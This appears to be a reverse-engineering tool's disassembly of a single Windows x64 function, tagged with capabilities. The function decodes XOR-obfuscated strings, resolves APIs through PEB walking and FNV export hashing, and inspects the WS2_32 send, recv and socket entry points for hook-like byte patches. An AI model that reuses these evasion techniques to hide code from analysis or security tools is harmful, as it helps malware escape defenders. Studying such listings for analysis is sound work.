Function at 0x14006ece0
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
sub rsp, 0x100
lea rbp, [rsp + 0x40]
and rbp, 0xffffffffffffffe0
movabs r9, 0xf99f82cb791330ce
movabs rax, 0x35daf68fc7c96b84
mov qword [rbp], rax
movabs r8, 0x58af9ae091bd0ec3
mov rax, qword [rbp]
movabs rdx, 0x5f642501208ee80c
mov qword [rbp + 0x80], rax
movabs rcx, 0x9e9771ca11eb0935
movabs rax, 0x3e09576e46e0a169
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x88], rax
movabs rax, 0x9e97718b7f846041
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x90], rax
mov qword [rbp], r9
mov rax, qword [rbp]
mov qword [rbp + 0x98], rax
mov qword [rbp], r8
mov rax, qword [rbp]
mov qword [rbp + 0x20], rax
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x28], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x30], rax
mov qword [rbp], r9
mov rax, qword [rbp]
mov qword [rbp + 0x38], rax
movabs rax, 0x58c19a9291d80ea8
vmovdqu ymm0, ymmword [rbp + 0x20]
vpxor ymm1, ymm0, ymmword [rbp + 0x80]
vmovdqa ymmword [rbp + 0x80], ymm1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x50], rax
movabs rax, 0x5f56253220e2e869
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x58], rax
movabs rax, 0x9efb71a6118f091b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x60], rax
mov qword [rbp], r9
mov rax, qword [rbp]
mov qword [rbp + 0x68], rax
mov qword [rbp], r8
mov rax, qword [rbp]
mov qword [rbp + 0x20], rax
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x28], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x30], rax
mov qword [rbp], r9
mov rax, qword [rbp]
mov qword [rbp + 0x38], rax
vmovdqu ymm0, ymmword [rbp + 0x20]
vpxor ymm1, ymm0, ymmword [rbp + 0x50]
vmovdqu ymmword [rbp + 0x50], ymm1
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
vzeroupper
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14006eee7
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14006eee7
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0xa99f4db7
lea rcx, [rbx + r9*4]
mov ecx, dword [rcx + r10]
add rcx, r10
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x14006eee2
nop
movsx edx, dl
lea rcx, [rcx + 1]
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx - 1]
test dl, dl
jne 0x14006eec0
cmp r8d, 0x18993980
je 0x14006eeec
test r9d, r9d
jne 0x14006eea0
mov rax, qword [rax]
jmp 0x14006ee70
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
lea rcx, [rbp + 0x50]
add rax, r10
call rax
mov rcx, qword gs:[0x60]
mov rsi, rax
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14006ef97
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14006ef97
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0xaa9f4f4a
lea rax, [rbx + r9*4]
mov edx, dword [rax + r10]
add rdx, r10
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x14006ef92
nop
movsx eax, al
lea rdx, [rdx + 1]
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx - 1]
test al, al
jne 0x14006ef70
cmp r8d, 0x51d15ca2
je 0x14006ef9c
test r9d, r9d
jne 0x14006ef50
mov rcx, qword [rcx]
jmp 0x14006ef20
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
lea rdx, [rbp + 0x80]
add rax, r10
mov rcx, rsi
call rax
mov qword [rbp + 0xa0], rax
mov ecx, reloc.WLDAP32.dll_Ordinal_32
mov rax, qword [sym.imp.WS2_32.dll_send]
mov qword [rbp + 0xa8], rax
mov rax, qword [sym.imp.WS2_32.dll_recv]
mov qword [rbp + 0xb0], rax
mov rax, qword [sym.imp.WS2_32.dll_socket]
mov qword [rbp + 0xb8], rax
call fcn.140139918
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov qword [rbp], rax
lea rdx, [rbp + 0xa0]
mov rcx, rax
mov r15, rax
lea r14, [rax + 0x20]
call sub.VCRUNTIME140.dll_memmove
mov rsi, r15
cmp r15, r14
je 0x14006f11a
movabs r12, 0x4e94914f0000
movabs r13, 0x431bde82d7b634db
nop word [rax + rax]
mov rdi, qword [rsi]
test rdi, rdi
je 0x14006f10d
movzx eax, byte [rdi]
cmp al, 0x90
jne 0x14006f105
movabs r14, 0x7fffffffffffffff
movabs r15, 0x7ffffffffa0a1eff
nop dword [rax + rax]
lea rcx, [rbp + 0x40]
lea rdi, [rdi + 1]
call fcn.1400482d0
mov rbx, qword [rbp + 0x40]
cmp rbx, r15
jge 0x14006f08f
add rbx, 0x5f5e100
jmp 0x14006f092
mov rbx, r14
lea rcx, [rbp + 8]
call fcn.1400482d0
mov rax, qword [rbp + 8]
cmp rax, rbx
jge 0x14006f0f2
mov rcx, rbx
sub rcx, rax
cmp rcx, r12
jl 0x14006f0b6
mov ecx, 0x5265c00
jmp 0x14006f0db
mov rax, r13
imul rcx
sar rdx, 0x12
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xf4240
cmp rax, rcx
jge 0x14006f0d9
inc rdx
mov ecx, edx
call sub.KERNEL32.dll_Sleep
lea rcx, [rbp + 8]
call fcn.1400482d0
mov rax, qword [rbp + 8]
cmp rax, rbx
jl 0x14006f0a4
movzx eax, byte [rdi]
cmp al, 0x90
je 0x14006f070
mov r15, qword [rbp]
lea r14, [r15 + 0x20]
cmp al, 0xe9
je 0x14006f152
cmp al, 0xc3
je 0x14006f152
add rsi, 8
cmp rsi, r14
jne 0x14006f040
xor bl, bl
test r15, r15
je 0x14006f12e
mov edx, reloc.WLDAP32.dll_Ordinal_32
mov rcx, r15
call fcn.140139b94
movzx eax, bl
lea r11, [rsp + 0x100]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov bl, 1
jmp 0x14006f11c